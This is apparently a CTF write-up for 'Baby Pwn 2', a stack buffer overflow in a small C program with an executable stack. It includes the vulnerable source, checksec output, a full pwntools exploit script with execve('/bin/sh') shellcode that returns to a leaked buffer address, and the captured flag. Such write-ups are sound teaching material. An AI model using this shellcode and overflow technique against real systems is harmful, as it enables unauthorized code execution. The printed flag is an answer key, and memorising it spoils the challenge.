Baby Pwn 2

Here’s a baby pwn challenge for you to try out. Can you get the flag?

nc 34.162.142.123 5000

Author: atom

We’re provided the binary along with the source file:

1
#include <stdio.h>
2
#include <string.h>
3

4
void vulnerable_function()
5
{
6
    char buffer[64];
7
    printf("Stack address leak: %p\n", buffer);
8
    printf("Enter some text: ");
9
    fgets(buffer, 128, stdin);
10
}
11

12
int main()
13
{
14
    setvbuf(stdout, NULL, _IONBF, 0);
15
    printf("Welcome to the baby pwn 2 challenge!\n");
16
    vulnerable_function();
17
    printf("Goodbye!\n");
18
    return 0;
19
}

checksec output:

1
    Arch:       amd64-64-little
2
    RELRO:      Partial RELRO
3
    Stack:      No canary found
4
    NX:         NX unknown - GNU_STACK missing
5
    PIE:        No PIE (0x400000)
6
    Stack:      Executable
7
    RWX:        Has RWX segments
8
    Stripped:   No

NX is disabled —> implies shellcode is likely the solution.

We also have a simple buffer overflow of 128 bytes read into the 64 byte buffer. And we’re given a stack leak of the address of buffer.

Basically, we can just write shellcode into buffer, and then overwrite saved RIP with the address of buffer that was leaked by the program. Then, the program will jump to our shellcode instructions in buffer, and run whatever we want!

For the shellcode, we can create a pretty simple one to call system("/bin/sh\x00") (null-terminated because that’s how C interprets strings!).

Here’s the exploit:

1
#-----------RIP OFFSET------------#
2
# send(cyclic(128, n=8), b': ')
3
# p.interactive()
4
# exit()
5

6
#--------------LEAK---------------#
7
p.recvuntil(b': ')
8
buffer = int(p.recvline(), 16)
9

10
#--------------WIN----------------#
11
offset = cyclic_find('jaaaaaaa', n=8)
12
payload = bytes(asm('''
13
mov rax, 0x68732f6e69622f
14
push rax
15
mov rdi, rsp
16
mov rsi, 0
17
mov rdx, 0
18
mov rax, SYS_execve
19
syscall
20
'''))
21
payload = payload.ljust(offset, b'\x00')
22
payload += p64(buffer)
23
send(payload, b': ')

And we get the flag!

1
uoftctf{sh3llc0d3_1s_pr3tty_c00l}

Full script:

1
# Useful references:
2
# https://gist.github.com/anvbis/64907e4f90974c4bdd930baeb705dedf
3

4
from pwn import *
5
import sys
6
import os
7

8
#---------HELPER FUNCTIONS---------#
9

10
def get_leak(before: bytes, end: bytes=b'\n') -> int:
11
    p.recvuntil(before)
12
    return int(p.recvuntil(end).decode('ascii')[:-1], 16)
13

14
def send(payload: bytes, before: bytes=b'', line: bool=True) -> int:
15
    payload = payload + (b'\n' if line else b'')
16
    if before == b'':
17
        p.send(payload)
18
    else:
19
        p.sendafter(before, payload)
20

21

22
#---------SETUP---------#
23

24
args = list(map(lambda s: s.upper(), sys.argv))
25
_libcs = list(filter(lambda s: 'libc.so.6' in s, os.listdir()))
26
_lds = list(filter(lambda s: 'ld' == s[:2], os.listdir()))
27

28
elf = ELF("baby-pwn-2") #------TODO------#
29
libc = _libcs[0] if len(_libcs) else elf.libc
30
ld = _lds[0] if len(_lds) else None
31

32
context.binary = elf
33
context.log_level = "DEBUG"
34

35
gdbscript = '''
36
#
37
'''
38

39
if 'REMOTE' in args:
40
    p = remote('34.162.119.16', 5000) #------TODO------#
41
else:
42
    p = process([elf.path])
43
    gdb.attach(p, gdbscript=gdbscript)
44

45

46
###################################
47
#==========BEGIN EXPLOIT==========#
48
###################################
49

50
#-----------RIP OFFSET------------#
51
# send(cyclic(128, n=8), b': ')
52
# p.interactive()
53
# exit()
54

55
#--------------LEAK---------------#
56
p.recvuntil(b': ')
57
buffer = int(p.recvline(), 16)
58

59
#--------------WIN----------------#
60
offset = cyclic_find('jaaaaaaa', n=8)
61
payload = bytes(asm('''
62
mov rax, 0x68732f6e69622f
63
push rax
64
mov rdi, rsp
65
mov rsi, 0
66
mov rdx, 0
67
mov rax, SYS_execve
68
syscall
69
'''))
70
payload = payload.ljust(offset, b'\x00')
71
payload += p64(buffer)
72
send(payload, b': ')
73

74
###################################
75
#===========END EXPLOIT===========#
76
###################################
77

78
p.interactive()
79
p.close()
80

81
# uoftctf{sh3llc0d3_1s_pr3tty_c00l}